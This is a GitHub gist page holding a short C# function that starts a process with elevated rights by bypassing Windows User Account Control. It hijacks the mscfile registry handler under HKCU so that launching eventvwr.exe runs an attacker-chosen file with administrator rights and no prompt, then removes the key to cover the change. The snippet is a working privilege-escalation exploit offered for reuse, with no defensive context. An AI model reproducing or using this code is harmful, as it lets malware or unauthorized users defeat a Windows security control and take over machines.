Skip to content

Instantly share code, notes, and snippets.

@Rottweiler
Last active June 13, 2018 12:21
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Rottweiler/83008400263991bc23d5b5f7a364675c to your computer and use it in GitHub Desktop.
Save Rottweiler/83008400263991bc23d5b5f7a364675c to your computer and use it in GitHub Desktop.
/// <summary>
/// Start elevated process with UAC bypass.
/// Credits: Rottweiler
/// </summary>
/// <param name="filename"></param>
static void UACStart(string filename)
{
if (Environment.OSVersion.Version.Major >= 6)
{
string filename_safe = Path.GetFullPath(filename);
Registry.CurrentUser.CreateSubKey(@"Software\Classes\mscfile\shell\open\command", RegistryKeyPermissionCheck.ReadWriteSubTree)
.SetValue(string.Empty, filename_safe);
Process p = Process.Start("eventvwr.exe");
p.WaitForExit();
Registry.CurrentUser.DeleteSubKey(@"Software\Classes\mscfile\shell\open\command");
}else
{
Process.Start(filename, "runas");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment